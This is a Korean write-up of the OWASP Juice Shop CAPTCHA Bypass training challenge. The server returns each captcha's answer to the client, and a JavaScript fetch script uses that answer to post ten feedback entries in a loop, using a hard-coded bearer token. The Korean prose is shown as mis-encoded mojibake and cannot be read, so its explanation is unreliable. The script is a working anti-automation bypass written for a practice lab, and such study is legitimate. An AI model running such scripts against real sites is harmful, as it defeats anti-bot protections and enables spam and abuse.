OWASP Juice Shop - ๋ฌธ์ํ๊ธฐ Captcha Bypass (Broken Anti Automation)
๋ฌธ์ํ๊ธฐ ํ์ด์ง(/contact) ๊ตฌ์ฑ๋
์ฌ์ฉ์๋ก๋ถํฐ ํ์ ๊ณผ ๋๊ธ์ ์ ๋ ฅ๋ฐ๋๋ฐ ํ๋จ์ CAPTCHA ์ธ์ฆ์ด ํ์ํ๋ค.
์บก์ฑ ์์ฒญ REST API ๊ตฌ์กฐ (/rest/captcha/)
์๋ฒ์์ ๋ฏธ๋ฆฌ ์บก์ฑ ๋ฅผ ์์ฑํ๋ SSR ๋ฐฉ์์ด ์๋ ํด๋ผ์ด์ธํธ๊ฐ ํ์ด์ง์ ๋ค์ด์ค๋ฉด ์บก์ฑ ๋ฅผ ์์ฒญํ๋ CSR ๋ฐฉ์์์ ์ ์ ์๋ค. ๋ฐ๋ผ์ ํด๋ผ์ด์ธํธ๊ฐ "http://localhost:3000/rest/captcha/"๋ก GET์ ์์ฒญํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์๋ต์ด ์จ๋ค.
{"captchaId":38,"captcha":"8*8-5","answer":"59"}
๋ณด๋ค์ํผ ์บก์ฑ ์์ด๋, ๋ฌธ์ , ์ ๋ต์ด ๊ทธ๋๋ก ์ ๋ฌ์ด ๋๋ค.
์บก์ฑ ๊ฒ์ฆ REST API ๊ตฌ์กฐ (/api/Feedbacks/)
์ฌ์ฉ์๊ฐ ์บก์ฑ ๋ฅผ ํ๊ณ ์๋ฒ๋ก๋ถํฐ ์์ฒญ์ ํ ๋๋ "http://localhost:3000/api/Feedbacks/" ์ฃผ์๋ก ๋ค์๊ณผ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๋ณด๋ธ๋ค.
{"UserId":22,"captchaId":35,"captcha":"27","comment":"comment (***acker@attacker.com)","rating":3}
์บก์ฑ ์ ์ ๋ต์ ํด๋ผ์ด์ธํธ์๊ฒ ๊ทธ๋๋ก ์ ๋ฌํ๋ ์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋น ๋ฅด๊ฒ 10๋ฒ์ ์บก์ฑ ์ ๋ต(๋ฌธ์ํ๊ธฐ)์ ์ ์กํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ง๋ณด์๋ค.
์ ๋ต ์คํฌ๋ฆฝํธ
async function send_captcha( captchaId, answer ){
await fetch("http://localhost:3000/api/Feedbacks/", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYW1lIjoiaGVsbG8iLCJlbWFpbCI6ImF0dGFja2VyQGF0dGFja2VyLmNvbSIsInBhc3N3b3JkIjoiM2Y4NThjZjhjZmQ1OWYyNTAxMGU3MWI2YjU2NzE0MjgiLCJyb2xlIjoiZGVsdXhlIiwiZGVsdXhlVG9rZW4iOiIxMDg1NjY4ZDQ0ZjU4NWI1YTE3OTY3ZjYyZTZjNTZkM2RlMzllMTliZWNmZmNlNmRlNTJkMmZhYmRmNzVmZmJlIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvMjIuanBnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIzLTA5LTI2VDE3OjM2OjQ2LjY2MFoiLCJ1cGRhdGVkQXQiOiIyMDIzLTA5LTI2VDE4OjM0OjQ2LjM1NVoiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2OTU3NTMyODZ9.lhfZaCmblr1IPRXd8XpZePBSlJbEAzravr0Z8k5KSSshF_sUjMcMqztjzNprqtxQLlrZhWjDf4wov1f723qib7Z3EPEireG392GHy5RBQkpDNjlx0uHi4OQpPRD-Gbecj_BzT4zmfNZADnDn-m00ZMpZRUv_6CGMjpCgAyErRq4",
"content-type": "application/json",
"proxy-connection": "keep-alive",
"sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin"
},
"referrer": "http://localhost:3000/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": `{\"UserId\":22,\"captchaId\":${ captchaId },\"captcha\":\"${ answer }\",\"comment\":\"comment (***acker@attacker.com)\",\"rating\":0}`,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
}
async function main(){
response = await fetch("http://localhost:3000/rest/captcha/", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYW1lIjoiaGVsbG8iLCJlbWFpbCI6ImF0dGFja2VyQGF0dGFja2VyLmNvbSIsInBhc3N3b3JkIjoiM2Y4NThjZjhjZmQ1OWYyNTAxMGU3MWI2YjU2NzE0MjgiLCJyb2xlIjoiZGVsdXhlIiwiZGVsdXhlVG9rZW4iOiIxMDg1NjY4ZDQ0ZjU4NWI1YTE3OTY3ZjYyZTZjNTZkM2RlMzllMTliZWNmZmNlNmRlNTJkMmZhYmRmNzVmZmJlIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvMjIuanBnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIzLTA5LTI2VDE3OjM2OjQ2LjY2MFoiLCJ1cGRhdGVkQXQiOiIyMDIzLTA5LTI2VDE4OjM0OjQ2LjM1NVoiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2OTU3NTMyODZ9.lhfZaCmblr1IPRXd8XpZePBSlJbEAzravr0Z8k5KSSshF_sUjMcMqztjzNprqtxQLlrZhWjDf4wov1f723qib7Z3EPEireG392GHy5RBQkpDNjlx0uHi4OQpPRD-Gbecj_BzT4zmfNZADnDn-m00ZMpZRUv_6CGMjpCgAyErRq4",
"if-none-match": "W/\"30-7viQ7Y3xjsbQxoUr1EBBZrALhTY\"",
"proxy-connection": "keep-alive",
"sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin"
},
"referrer": "http://localhost:3000/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
response_json = await response.json();
captchaId = response_json.captchaId;
answer = response_json.answer;
send_captcha( captchaId, answer );
}
for(var i=0; i<10; i++)
main();
"์ฑ๊ณต์ ์ผ๋ก ๋์ ๊ณผ์ ๋ฅผ ํ์์ต๋๋ค: CAPTCHA Bypass (Submit 10 or more customer feedbacks within 20 seconds.)"
ํ์ ์ 0์ผ๋ก ์ค์("rating":0) ๋ค๋ฅธ ๋์ ๊ณผ์ ๋ ํ ๋ฒ์ ํด๊ฒฐํด์ฃผ์